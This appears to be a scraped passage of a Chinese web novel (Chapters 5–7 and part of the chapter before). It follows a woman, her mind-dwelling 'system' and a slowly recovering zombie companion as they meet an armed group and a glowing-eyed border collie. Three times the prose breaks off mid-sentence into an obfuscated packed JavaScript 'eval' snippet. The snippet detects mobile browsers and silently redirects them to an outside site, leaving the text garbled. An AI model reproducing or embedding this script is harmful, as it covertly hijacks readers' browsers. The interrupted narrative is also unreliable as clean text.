“这句话你已经说了十五遍了，你……”系统停顿半秒，“要是能把嘴角压下去，说服力会更强一点。” “我天生微笑唇。” “……” 坐在后座的某个丧尸叫了一声。 “你看，他都不同意。”系统拱火。 “胡说八道。”续昼反驳，“他明明是赞同。” 寻春又叫了一声。 “你看，我没说错吧。”续昼挑眉，一脸骄傲，一副“我说的都对”的样子。 “关爱丧尸，尸尸有责。”系统叹气。 续昼不语。 她觉得系统就是嫉妒没人替它说话，不像她，有个只会喊同意的跟班。 她满意的看看寻春。 系统默默连接上车载音响，音量调高，开始播放下载量最高的DJ音乐。 开车不放歌，快乐少一半。 它可是认真研究过数据库的。 车内突然炸响DJ的魔性旋律，续昼吓了一跳，一个漂移差点撞上路灯杆，还不等她开口，双重奏先打断了她。 脑海里的系统开始跟唱，后座也传来了有节奏的抓挠声。 “……” 别说，还挺和谐？ 不过系统有点小爱好也就算了，怎么丧尸还有音乐细胞？ 续昼非常不解。 跨江大桥两侧的栏杆在车窗外快速掠过，桥面笔直地延伸着，通向前方的无尽黑色，汽车的远光灯犹如利剑往前划开黑暗，续昼一个加速，发动机的轰鸣声、轮胎与路面的摩擦声交织在一起，她降下车窗，眼中闪烁着兴奋的光芒。 音乐声在黑夜里肆意横行。 进入老城区，天空泛起微光。 老城区是矮楼房，视线相对新城区的高楼大厦要开阔。汽车再一次碾过减速带，车身一震，续昼放慢速度。 “前面是不是有人？”系统关了音乐，透过续昼的眼睛，加点高科技辅助，看见远处的药店前有几个小黑点。 开近点一看，是人，还在招手。 续昼探出半个头看过去，是三个穿着黑衣服的男人，其中招手的男人要矮一点。 她眯着眼睛细看，不是丧尸，是真人。 她有种热泪盈眶的感觉。 两天没见到活人了，她有点小激动。 “没错没错，是活的。” “恭喜你成功发现了活人三枚。”系统撒花。 药店隔了一条街，续昼看向后视镜，原先数不清数量的丧尸群经过一晚上的追逐只剩下四只执着的丧尸，她想了想，开出街道口，拐个弯直接开走了。 招手的男人停下动作，看着汽车的尾气后冒出四只丧尸。 “靠——” 他急忙招呼另外两人蹲在越野车后。 四只丧尸摇头，四处嗅嗅，朝拐角处跑去。 这边，续昼趁着丧尸还没有追过来，拉着寻春下车，靠系统导航，藏进一家没有丧尸的店铺里。 她蹲在柜子后面。没过多久，透过灰蒙蒙的玻璃门，她看见了追过来的四只丧尸，围着她开的汽车转圈圈。一只丧尸爬上车顶，在车顶上面跳跃，紧接着，剩下的也爬了上去，一起蹦跳。 “嘭”。 车顶塌了一块。 续昼心想，不用加油了，直接换车吧。 又看了一会儿，确定丧尸已经完全沉迷于车顶蹦床后，续昼拉着寻春，小心翼翼从店铺后门离开。 寻春的手腕一直是冰凉的，上面没有血迹和坑坑洼洼，不均匀的苍青色遍布全手臂，看着吓人，实际上看久了也习惯了。他很完整，不像那些破皮了，腐肉裸露在外面的。 这种程度，续昼能接受。 她心里念着事，下意识用拇指轻轻摩挲着他的皮肤。事没想好，倒是感觉越摸越舒服。她嘀咕着，不经意地抬头，发现寻春眼睛也不眨盯着她的动作。 她试探着—— 她手往左移，他往左看。 她手往右移，他往右看。 “系统，你看这像什么？”续昼示意系统看她们俩的行为。 “你在逗狗。”系统说。 “善哉善哉，”续昼摇头，语气里全是惋惜，眼神里充满了戏，“系统，恶语伤尸六月寒啊——” “？” “纯栽赃啊？” 一口黑锅直接扣在系统身上。 “这可不是栽赃，”续昼不承认，“那话可是从你嘴里说出来的。” 说完，她抬起另一只手拍拍寻春，后者不明所以的叫了一声。 “你看，受害尸都听不得你这话。” “科技产品听不懂人话。” 系统微笑。 它算是看懂了，她主谋占百分之九十九，他被迫从犯配合那百分之一，真是好一对璧尸。 “那你得努努力了。” 续昼说完，便收回自己的手。手刚离开，没想到寻春一把抓她的手腕。 她诧异地看着他。 寻春一只手固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282812|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定住她的手，另一只手学着她刚才的样子，在她手腕上摩擦。他下手没有轻重，很快，她的手腕就泛红了。 疼痛感传来，她拍开寻春的手。 “动手动脚的，像什么样子。”她揉着自己的手腕。 寻春双手乱舞，刚张开嘴想叫，她眼疾手快，捂住他的嘴。 “不准叫。”续昼瞪他。 寻春听不懂，还是叫了一声。 “哈哈。”系统在脑海里笑出了声。 续昼对上寻春的眼睛，他黑雾雾的眼珠子里是她的大脑袋。对视无果，她率先败下阵来。 算了，以后再说吧。 她心里安慰自己。 她穿的衣服是在家里找的，堆在衣柜里，有点皱，但看着新。她看那三个男人的穿着，磨损变形，色彩暗淡且褪色，很符合末世的风格，一看就是在末世里打拼的人。 反观她，身上干干净净，一看就有问题。她没打算暴露系统和自己的情况，为了避免引人注意，她得装扮一下。 随便找了一家服装店，套了一件破旧的外套在外面，又往脸上、身上抹点灰，顺便往头发上也抹一些。 她站在镜子前转一圈。系统说可以，她也满意点头，准备回去看看刚才拦车的人。 去之前，她先做了今天的打赏任务。 电子屏幕上选来选去，还是同一个头像剪影，她兴致缺缺，随便打赏一个。 打赏特效刚结束，她突然看向寻春，想到这就是她的打赏对象，她又点开打赏详情，上面是两条同样的消息：【续昼】给【寻春】打赏了一个花园。 难怪打赏特效会是花花。 算上昨天，刚好两次打赏。等等—— 她问系统：“这些剪影不会都是他吧？” “你真聪明。”系统夸奖她。 “诈骗。” 她就说，怎么剪影全都是一样的，合着根本就是一个人，不管开多少次盲盒都是同一个人。 续昼白眼，懒得吐槽。 她再看向寻春，没看出有什么变化。 才两次没有效果是正常的。 虽是这样想，但她心里酸酸的。 “你不要跟着我，离我远点。我可是要去套情报的，万一他们看到你就要攻击你，我一个人可是打不过三个的……” 绕道去药店的路上，续昼对着寻春絮絮叨叨，指着地上的地砖。 寻春歪头，停下，踩在地砖上。 续昼直觉不对劲。 “你站着别动，不准动。” 她慢慢往后退，寻春不动。她退到五米开外，他还是不动。 续昼抱臂思考，她问系统：“他是不是能听懂我说话？” 刚说完，寻春就跑了过来，嘴里叭叭叭乱叫。 “可能是错觉。”系统说。 是吗？ 续昼看着寻春，暂存疑问。 5. Chapter 5 药店玻璃门是坏的，里面的货架东倒西歪，药品都已经被拿走，只剩一片狼藉。隔壁店前停着一辆黑色越野车，刚才的三个男人站在车前。 “这车看着就安全。”一看就比她那辆车顶被丧尸跳塌的小汽车好多了。 续昼绕路，从后面的巷口过来。她没有贸然上前，蹲在不远处观察，借坍塌的建筑挡住身形。看着高大的越野车，她计划着去顺一辆。 寻春蹲在她后面，低头扯砖缝里的杂草。 “确实，专门改造过的。”系统能看到的更多，不仅外形，里面的稍微连接一下就能看到构造，“还能抵御部分热武器。” “羡慕了。” 续昼擦擦不存在的口水。 不敢想象，这车要是能到她手上，她会有多快乐。 “系统，你能帮我改造车吗？我想要比这个越野车更安全的。” “你看这太阳圆不圆？”系统问。 “哪里有太阳？这不是月亮吗？”续昼抬头，月亮挂在天上。 “对啊，太阳都没出来，还没到白日做梦的时候。” “那我梦前预告一下。” “……” 究竟是哪里出了错？ 系统沉思。 又是接不上话的一天。 续昼正在脑海里规划如何改造她的车，正在这时，意外出现，有四只丧尸来到了药店前，两条手臂往前一伸就是攻击他们。 “这是那四只蹦床丧尸吗？” 续昼担心这是她引来的。 “不是，那四只还在蹦床。”系统之前连接过汽车中控，它调出数据，查了一下汽车的位置，显示四只丧尸还在快乐的蹦床。 续昼点头，专心观望。 只见三人没有慌乱，抬脚踹开丧尸，后退拉开距离，抽出腰后的砍刀就是干。他们配合默契，对准丧尸脑袋，下手凶狠，没有丝毫犹豫，一刀一个小丧尸。 砍完后，其中的寸头男人踢开尸体，留出一片空地。 续昼不由得皱眉。 有这么高的武力值，他们刚刚招手拦车干什么？可别说是向她求救。 她瞬间打消去找他们的想法。 丧尸躺地，紧接着鸣笛声响起，远处开来一辆面包车。招手男人转身，侧对药店里抬手招呼。 药店里有人出来，是一个女人，她扶着一个昏迷的女人。面包车停下，驾驶座下来一个灰衣男人，他打开面包车门，让女人上车，自己则站在一旁与三个男人聊天。 “拦车是因为想要车吗？”看着这一幕，续昼下意识小声说道。 “有这种可能。”系统。 “我们走。” 续昼不再打算留下来。她轻拍寻春，捂住他的嘴，对他摇头，示意他不能叫。 寻春眨眨眼，没有动作。 她这才拉着他轻脚快步离开。寻春也学她的动作，踮起脚走路。 真是鬼鬼祟祟。 系统点评。 这里距离药店还远，经过它的计算分析，大概率是不会被发现的，除非她们能表演一个平地大摔。 想归想，它还是好心替她们指路，顺便拍了张游客照。 快走出的时候，续昼回头望了一眼。 四个男人还在谈话。 面包车压着四个断头丧尸的尸体。 续昼在一家车行找到了越野车，没有改造过，但她也满意，至少比脆弱的小汽车好。就是可惜她没有学过修车，不然指定让系统监工，她改造。 “哎。” 想到这，她惋惜叹息。 又看看充当挂件的寻春，叹气声更大了。 这个团队全靠她一拖二。 “那我不导航了。” 系统反对，它年度优秀提名系统可是有用的，那个只会乱叫的丧尸才是真正拖后腿的。 “啊——”寻春听不懂，乱嚷嚷。 好耶，是双重奏，更没救了。 “上路吧。” 续昼启动越野车，头也不回奔向楼江镇。 开上国道，太阳已经出来了，是晴天。 车内气氛沉闷，续昼的情绪从药店离开后，就有点低落。 “怎么了？” 系统问。 它回想，但也没有发现什么特别的事情。 “你说基地会是什么样的？” 系统思考过后，答：“没什么特别的。” 续昼继续开车。 人是群居动物。 在她的设想中，她在去楼江镇的路上，可能会遇到其他人，那她肯定会选择融入人群。在陌生的环境里，这是一种来自内心深处的亲切与信任，它会让心中的孤独感瞬间即逝，即使她并不害怕孤独。 这一切建立在，她没有遇到寻春的基础上。 说实话，遇到那几个人，她是很激动的，也想上前交谈。但他们利落砍杀丧尸的行为，随手间透出来的凶狠又让她胆怯。 他们经历了四年末日，早已习惯了这种与丧尸搏命的生活，而她不同，两天前才醒来，醒来之前还是和平年代，没有与丧尸厮杀的经历，就算她心里强大，但看到丧尸的时候，也总是忍不住把丧尸等同于人来看。她理智上清楚知道那是丧尸，并不是人，感性上却在后怕，砍刀落下的瞬间，头落地，人死了。 他们杀的，原本是人。 再加上寻春是丧尸，他不会离开她。她选择走近他们，以他们面对丧尸的表现，他们是不会把丧尸留在身边养虎为患的。 没有人会选择和丧尸在一起。 她害怕寻春死掉。 续昼看向镜里的寻春。 她明白，她可能要走上另一条路了，这条路的尽头叫做未知。 寻春趴在车窗前看风景。 末日生态持续恢复，茂盛的植株铺天盖地，争相斗艳，瑰丽且神秘。 “系统，你说……” 话音未落，从旁边的合并道上突然开进来两辆车，一看，是刚才的黑色越野车和面包车。 三辆车并排行驶。 续昼关上寻春那边的车窗。 从车窗看过去，越野车是寸头男人开车，剩下那个黑衣男人坐副驾驶；面包车是灰衣男人开车，副驾驶没人。 细看，他们脸上都有疤痕，那股子凶狠越靠近越感到强烈。 续昼心一惊，赶紧收回视线，稳住手抖，专注开车。 没事，就是并排开个车而已，又不是在一辆车，他们不知道车里有丧尸，不会撞她的。 她在心里默默安慰自己。 “系统，你说他们突然暴起的可能性有多大？”续昼在心里与系统对话。 “不是为零。”系统一副煞有其事的样子，“我方可用力量不足为一，建议直接跑。” “听你的，下个岔路口就跑。” 车内气氛凝重。 他们没打招呼，只顾着开自己的车，一路上相安无事。 直到续昼看见岔路口。 她松了口气，慢慢降低速度，打算让他们先开走，她稍后选择和他们不一样的路。 车辆逼近岔路口。 “啊——” 丧尸的叫声震耳欲聋。 续昼如同被雷击中般僵住，满脑子都是“完了”。她吞咽了一下，干涩的喉咙发出轻微的声音。 寻春在后座焦躁不安，挠座椅，嘴里叫个不停。 三个男人转头看她。 两辆车加速，横向在前方阻截住她的车。她被迫踩下刹车，手握着方向盘在发抖。 他们开门下车，手里拿着热武器，黑黢黢的枪管冷硬，不容侵犯。 明明是艳阳天，她只觉得一阵发冷。 续昼瞳孔微缩，心跳加速，假装镇定，实则大气都不敢出。 灰衣男人对着面包车内摆手，女人下车。 女人拍拍皱皱的衣服，慢条斯理走到续昼车窗前，她抬手敲只升起四分之一的车窗。 续昼侧头看她。 她脸上尽是沧桑的痕迹。 “怎么？”续昼的声音有点颤抖。 “小心丧尸会失控。”女人慢慢说着，递给续昼一张卡片，“如果有需要的话，我们可以帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282813|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 续昼扫过站着的男人们，又转回女人，垂眸看向卡片。卡片面对她的一面是黑底，上面有个红色标志，让人看着不舒服。 女人微笑。 将卡片往前递了递，抬起下巴示意她接卡片。 男人们擦拭着枪身。 空气中弥漫着一股不安详的味道。 寻春低声怒吼。 “看起来丧尸不太安静呢。” 女人偏头，想看后座的丧尸。 续昼一把接过卡片，移动身体挡住女人的视线。她说：“不用了，我很快就能处理好。” 闻言，女人点头理解。 她转身离开，走到一半，她侧过身，扬言道：“有需要可以联系我们，用卡片就行。” 说完，她走向黑衣男人，向他简单说了几句。黑衣男人抬起眼皮看过来，眼神里有探究，还隐隐透露着兴奋。 续昼拉响警钟。 “走。” 他声音低沉嘶哑，抬手间，手腕有一抹红。 “很期待与你再见。” 车未启动，女人从车窗探出头来，朝续昼招手，语气欢快。 续昼沉默不语。 他们也不在意，踩油门扬长而去。 尾气渐渐远去。 续昼彻底松气，松开握紧的手，累瘫在座椅上，闭上眼睛，深呼吸，一遍遍告诉自己已经结束了。 压迫感太强，她差点就要交代在这里了。 她抬手抚额，手掌控制不住发抖，手心发冷，全是汗。 寻春安静下来，低头挠头。 系统则在脑海里安抚人心，夸她干得漂亮，应对满分。 续昼情绪回温。 日头正旺。 续昼翻转卡片，和背面是一模一样的。她举起卡片，对着阳光，卡片一片漆黑，阳光透不过来。 她回想起那个黑衣男人手腕上的红，渐渐将那抹红与卡片上的红色标志重叠，加上临走前的眼神更让她心有忌惮。 感觉摊上大事了。 希望是她的错觉吧。 续昼收拾完心情，开车走向另一条路。 “你知道刚才寻春怎么了吗？” 续昼问起寻春，他太过异常了。 “他的脑电波波动异常，应该是受到什么东西影响了。”系统拉出寻春的数据，屏幕显示那个时间段，波动达到巅峰。 续昼想到了他们。 直觉与他们脱不了干系。 “他们杀丧尸就像踩死蚂蚁一样简单。” “熟练工都这样。”系统习以为常。 “我以后也会成为熟练工吗？” “嗯……也不是不可以。”就是有点欺负丧尸，系统收回后半句话。 续昼幻想，她一刀一个小丧尸的场景，莫名有些抵触，她摇摇脑袋，把它甩到脑后。 与其想这些，不如赶紧到楼江镇。 续昼猛踩油门，越野车如猎豹般奔驰在公路上。 经过这件事，她更加坚定要远离人群，直接让系统导航，选择没有人出没的地方。 “那你为什么不丢下他？”系统不解。 “那我为什么要丢下他？”续昼反问。 “好问题。”系统说，“我们走左边，那边有座荒废的小镇。” 它想不到，反正答案也不重要，它也不纠结这些事，专心导航。 日子一天天过，打赏任务一天天做。续昼没有再遇见过人类，寻春也没有再次出现像那天异常的情况，她更加坚定了自己的想法。 只是，她觉得寻春越来越能听懂她的话了。 例如，她叫他不动，他真的就站在原地不动。 “系统……” 下车休息的续昼紧急呼叫系统。 “我看到了。”系统说。 “那是不是说明——” 续昼突然止住，后颈汗毛毫无征兆地倒竖起来，某种黏腻的寒意顺着脊背缓慢攀爬，即使是白天她也察觉到毛骨悚然。 她转身。 一双发光眼睛正死死的盯着她。 6. Chapter 6 在岔路口和那群人分开之后，续昼担心还会在同一条路上碰见他们，于是让系统导航，绕了一天的路才回到原定规划的路线上。 系统对此表示，它可以提前通知她跑路，不用这么大费周折。 续昼摇头，似是看破红尘，淡淡说道：“保命要紧。” 下一秒脚下的油门踩到底。 寻春将头伸出窗外，张嘴，灌入冷风，双颊鼓鼓的就像圆滚滚的气球，细碎的叫声糅杂在气流里。 挥舞的双手表达着他的兴奋。 系统冷眼旁观。 并且不理解为什么他的脑电波一直在跳跃。 但是，它觉得还是有必要提醒一下某位沉迷于开车的：“……要吐了。” “不准！” “寻春，你把头伸进来！” 续昼紧急叫停。 谁能告诉她，为什么他变成丧尸后会这么活泼？ …… 脑外吵吵嚷嚷，脑内系统躺的舒舒服服。一边翻着数据库打发时间，一边听着戏，偶尔吱个声和续昼唠嗑，日子惬意。 续昼勤勤恳恳开车，穿过一个又一个荒废地区，中途会休息一段时间，任凭寻春在周边探秘。 每天的日常就是做个打赏任务，与系统斗嘴，听寻春哇哇叫，再自言自语。末日无人区广袤无垠，一片静谧，时不时消磨着她的意志，她站在其中无所适从，她忍不住怀疑自己的选择是对还是错。 然后就会被寻春的叫声找回理智。 寻春丧尸牌闹钟，她值得拥有。 一路上，续昼换了好几辆车，每次车没油了她就让系统物色新的车辆，荒废在路上的车都便宜了她。 系统感叹：“还得是末日，这要是在和平年代，哪能有这么多的车换着开？” 续昼很是赞同的点点头。 她考了驾照，刚工作没有买车，寻春的车她不敢开上路。托了末日的福，她才敢乱开。 谁能想到这是她第一次开车呢？ 多亏了系统说它会帮忙看着，给她兜底。她才敢开，换到以前她想都不敢想。 “不过，你有没有觉得我很有天赋？”续昼问。 “没有。”系统答。 因为那都是它辅助开的，指望她不如指望自己。 “……你让我自己开。”续昼心碎，企图找回颜面。 “好。”系统关了辅助模式。 下一秒，汽车在公路上开始偏移，越偏越移，最后以迅雷不急掩耳之势一头撞进草丛里。 “想换车就直说，不用这么拐弯抹角。”系统捂脸。 “小小失误，”被安全气囊保护的续昼微笑面对现实，“不必在意。” “啊啊啊。”寻春从车窗爬出去，对着汽车拳打脚踢。 续昼为汽车默哀一秒钟后，重整旗鼓，力推辅助上位。 也不是她不行，只是她认为总要给辅助一些表现的机会。 她可真是个大好人。 续昼为自己点赞。 系统：…… 系统：不要脸。 截止到今天，续昼已经做了十次任务，打赏详情写满了两页，就和每日打卡一样。 对此，她感受最深的就是寻春变了。 她在某一天做完任务后发现寻春的眼珠子转的更顺滑了。之前他有点像机械那种转动，会有卡顿，现在愈加灵活。 同时，不知道是不是她的错觉，她感觉他的皮肤也在渐渐变回人类的肤色，与刚见到的苍青色不同。 换句话说就是他身上的活人味越来越清楚了，活人感越来越真实。 为了保证消息的准确性，她让系统记录下他的状况。今天到了休息时间，寻春出去放风，她站在汽车边，和系统聊天。 根据系统的每日图像对比，他确实在变化。 续昼很开心，这代表着他很有可能会发生奇迹。 虽然她也有点怀疑，但是末日和系统这么稀有的事情都被她碰到了，再多一个奇迹，也是她应得的。 “人总要有梦想。” 续昼对自己说。 系统也点头。 没错，总是要有一点盼头的。它要梦一个明天就能上路去隔壁星系，后天就能在系统总结大会上斩获第一名。 续昼与系统互相鼓励。 寻春凑过来，在一边鼓掌。 他最近发现自己的手很神奇，例如能弯曲，能抓东西，碰到一起还能发出声音。 他将手伸到续昼面前，哇哇叫示意她看。 续昼不理解，但她点头。 寻春见她懂了，他开始弯曲手指，抓衣角，又鼓掌。表演结束，他期待地看着她。 续昼微笑，竖起大拇指点赞。 “他在干什么？”她转头就在心里问系统。 系统看着这熟悉的一幕，好像在某个同盟的小孩子身上见到过，它犹豫着将某个同盟的回答告诉续昼：“分享他的新发现。” “他新发现了什么？” “发现他的小手真神奇。” “？” 续昼看向正在玩手的寻春。 寻春察觉到她的视线，转头朝她咧开嘴角。 续昼双臂交叉抱胸，右手食指无意识轻点左手手臂，脑海中思考着他的行为。 能意识到自己的手，还会分享自己的发现，这不是小孩子的行为吗？这是不是说明他拥有像小孩子那样的意识？ 回顾她遇到他后发生的一系列事情，前面他是呆愣的，像傀儡，行动僵硬，也是这段时间通过打赏才有变化，包括他将头伸出车窗外、休息时爱在周边探秘，现在又分享自己的手，这些变化都是一步步进行的。 她原以为，变得活泼是因为他变成丧尸，改变了生前行为，就像那四只会在车顶蹦床的丧尸，可能也只是一种丧尸行为。 所以她没有多想，只觉得稀奇，以前他沉稳像一棵松，哪有机会能看到这么鲜活的样子。 但结合她所发现的，他身上出现的变化，这一切就有迹可循了—— 系统的打赏起作用了。 她刚醒来那段时间就想过打赏任务会对丧尸造成什么影响。她怕是提升丧尸的能力，会让人类生存更加艰难，所以，她有点抵触做任务。 等到第一次任务结束，她见到寻春；第二次任务结束，她发现任务对象只有寻春一个人，她才放下心做任务。 不管是什么影响，她都有自己的退路。 现在，她基本能断定这个打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282814|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赏任务的作用。 想到这，续昼呼唤寻春。 “寻春。” 寻春看向她，等着她的后言。 “你站在那里，不准动。”续昼指着旁边突起的小土坡说。 寻春停下动作，似是思考她的话。一分钟后，他走向她手指的地方，站定。 寻春张嘴：“啊啊。” 天色灰暗，风雨欲来，他站在尘土之上，敬候她的指令。 看着这一幕，续昼高悬的心落到实地，看来她的猜测果然没错。 “系统……”她呼唤系统。 “我看到了。”系统说。 “那是不是说明——” 话音未落，一股危险的气息蔓延开来。 续昼闭嘴，转身，面色凝重。 寻春也察觉到危险来临，挡在她侧前方，身形紧绷，脊背微弯，紧紧盯着前方抖动的草丛，嘴里传出低沉的咆哮声，不断警示对方。 前方是一大片草丛，茂盛的植物与人一般高，错杂交缠，草丛中窸窸窣窣，看不清来者的样子，只能看见那双发光的眼睛在一步步靠近。 “吼——” 眼看着距离越来越近，寻春吼叫。 听到寻春的警告声，不多时，草丛停止抖动，脚步声随之消失，这一瞬间，时间仿佛停滞，只有那双眼睛没有后退，在和她们紧张对峙。 双方都没有动作。 一时间，呼吸声清晰可见。 站在后方的续昼抓着寻春的手腕，以防他盲目冲上去。她不确定如果在战斗中受伤，逐渐恢复的他会不会再次感染上病毒，她不想赌。 她分神瞥了一眼汽车的位置，她们离车不远，能靠汽车突围。 就是不知道她们能不能超过神秘生物的速度，顺利跑到汽车前面。而且车门是关的，她需要开门，在如此慌张的情况下，能否一次就开门，也是个考验。 早知道如此，她一定不会关车门。 她另一只手小幅度握了握拳，转动手腕，提前准备着。 “嗷呜嗷呜——”叫声突然响起，伴随着它粗重的呼吸声。 看样子，来的不是丧尸，而是变异动物。 感染性病毒最初只降临在人类身上，动植物并没有受到影响。病毒通过□□传播，最常见的方式就是病毒母体撕咬未感染者，伤口接触进而被感染。这种方式不仅会感染人类，也会感染动物，造成变异，很多人前期就是丧生在变异动物手里。 好在目前植物暂且没有受到病毒影响，能够攻击人类，只是营养比较好，生长旺盛，比旧历时代的植物大了很多倍。 人类主要抵御的还是来自丧尸与变异动物的威胁。 系统提到这个的时候，语气有点古怪。 发光的眼睛随着变异动物的头上下移动，它的叫声愈加急促，震得续昼脑袋疼。 寻春不甘示弱，冲着草丛回吼。 系统突来的沉默让续昼有点担心，她忙在心里问道：“怎么了？” 滋滋的电流声在她脑海里回响，她提起一口气，紧张等待回答。 系统长叹一口气，幽幽的说道：“它说你们踩着它主人的坟了。” 气一下堵在半截。 续昼：？ 7. Chapter 7 预想的打斗场景没有出现，出现在眼前的是一只狗。 这是一只陨石边牧，有成人膝盖高，青灰色的毛发略显脏乱，但掩盖不了它的精神抖擞，大体外形与它原本的样子没有多少不同，唯一区别是它的蓝眼会发光。它的眼珠子附有一层细微的绒毛，绒毛散发着微弱的光芒，从远处看，就是它的眼睛发着蓝光。 真正会发光的眼睛。 续昼顾不得惊叹，拉着寻春一个后撤步，远离她们刚刚踩着的小土坡，伸手拍去上面的灰尘，也不管边牧能不能听懂，一边退一边对着它道歉。 顺便抽空安抚寻春，让他安静。 寻春试图理解续昼的话，小且贫瘠的脑容量努力消化着她的话，虽然还不是很懂，但先小声叫了几句应和她。 孺子可教也。 见状，续昼甚是满意，拍拍他的手背以作鼓励。 系统：…… 不是很懂她们对牛弹琴的乐趣。 但尊重。 危险解除，边牧叫声停止。 它从草丛里走出来，先围绕着小土坡走了几圈，用尾巴扫扫周边的灰，冲着续昼叫了一声后，卧倒在小土坡旁。 脑袋枕在前肢上，尾巴拍打地面，一下两下，慵懒随意。 它静静趴在那里，也不管她们在干什么。 这边，续昼拉着寻春退到汽车旁。她知道今天他还没有玩够，安静不下来，要是强行管着他，晚上遭罪的就是自己，已经有过一次痛苦经历的续昼安抚着他，让他在周边玩，不要去打扰边牧。 寻春应了，他没有察觉到这边有危险，便高兴的跑开了。 见寻春走了，续昼打开车门，斜坐在副驾驶上，脚踩在车门槛上，看着边牧。 都说边牧智商高，能听懂人话，她今天也算是见识到了。 “系统，你怎么知道它在说什么？” “我有狗语翻译器。”系统说，“也不知道是哪个系统偷偷藏进我的数据库，估计是交流中心那边共享过来的。” “系统的数据都能共享吗？” “一部分可以。这是主系统为了提高任务完成率才开启的共享功能。”系统又提了一些系统工作福利，有休假，有奖金，任务失败也没有惩罚，只是待遇没有头部系统那么好。 “这么好，”续昼羡慕了，“你们系统还招人吗？” “招的，但是不招人。” “不能走后门吗？”续昼不死心。 “你连门都进不去。人统殊途，数据洪流就先把你搅碎了。”系统一盆冷水浇灭她的想法。 系统中心并不固定，但是系统中心一直被数据洪流包围着，举个例子，就是类似于龙卷风和风眼。同时数据洪流的杀伤力很大，堪比绞杀机器。 安全系数真高，就是不知道这数据洪流放在地球周边，能不能抵挡感染病毒。想来也不知道，续昼抛开这个想法，转而想到其它的。 “你不能听懂寻春的话吗？” “不能，我没有丧尸语翻译器。” “边牧不是丧尸？”续昼震惊。但是它不是也被感染病毒变异了吗？ “不是。” 系统解释。 丧尸和变异动物是两个物种。变异动物还是属于动物的范畴，但是丧尸不属于人类的范畴。它只是形似人，与人类的生活生存方式不同，本质上不是人。 变异动物则不同，它本质上还是动物，只是感染病毒进入体内存留，在它身上某一方面进行了改造，让它进行变异。 就说刚才的边牧，它的变异方向就是眼睛发光。其它变异动物，可能毛发变异、尾巴变异、鼻子变异、四肢变异等等，都是进行了一部分变异。感染病毒能在它们体内存活，就是靠着这些变异的部分。 丧尸不同，属于人类的部分全被感染病毒破坏了，它依靠感染病毒存活。 续昼懂了。 但她有点小失落，要是能听懂寻春说话就好了。 “所以，寻春不能和边牧聊天。” “当然不能，”系统一副你在说什么的语气，“要不然他俩刚刚光叫不动啊？要是能聊天，他要拉着你远离小土坡了，也不至于头铁，一直站在上面。” 续昼望天望地，嘴里嘟囔着：“我以为他俩在文斗放狠话呢。” 合着是各说各的。 “要不怎么能吵这么久呢？”系统吐槽。 续昼没应，转而问起别的：“那他怎么能听懂我说的话？” “他的意识在恢复啊，你不是也知道吗？”系统理所当然答道。 “是哦。”续昼不再说话。 远处，寻春就像几岁顽童，在草丛里蹦来跳去。他摘下叶子，揉成一团，接着像扔飞镖一样丢出去。这是他最近发现的玩法，已经痴迷一两天了，乐此不疲，一遍又一遍。 见续昼在看自己，他招手，邀请她一起来玩。 她摆手，礼貌拒绝。 转回视线。边牧正起身，抖动身体，甩去灰尘。 “不是说变异动物会攻击人类吗？”续昼想到一件事。 “是的，没错。” “那它怎么不攻击我？” “因为你……” 系统的话还没有说完，边牧就扑了过来。续昼下意识伸开双臂接住边牧，被它扑了个满怀，没有听到系统后半句。但她也没有太在意，现在她的注意力全放在了边牧身上。 边牧在她怀里蹭了蹭，才下来。续昼顺势从副驾驶下来，站在原地，撸着狗头。它摇着尾巴，牙齿轻咬她的衣角，原地踏步，嘴里发出呜咽的叫声，摆动脑袋，似乎想要带她去某个地方。 “你是要带我去其它地方？”续昼不确定。 边牧绕到她身后，轻轻推她，声音很小，似是请求。 续昼犹豫了一会儿，没抵挡住边牧的攻势，她关上车门，决定跟边牧走，走之前，叫上了寻春。 玩得正开心的寻春，冷不丁被召唤过来，对着始作俑者边牧就是一通无效的吼叫。 续昼一巴掌拍上他肩膀，说：“不准说边牧，它要带我们去个好地方。” 寻春不服气的低下头叫了几声，抓着续昼的衣角揉搓，嘴里小声嘀咕。 旁边的边牧听不懂他的话，对此听而不闻，挨着续昼，一边带路一边叫。 “边牧在说什么？”听不懂的续昼果断求助系·狗语翻译·统。 “它在夸它的秘密基地，中间顺便穿插了几件它和它主人的故事。”系统听了一会儿，总结道。 “什么秘密基地？” “等你到了就知道了，”系统不说，维护着边牧的惊喜，“现在保持一点神秘嘛，放心大胆，它不会害你。” 紧接着，系统又向她 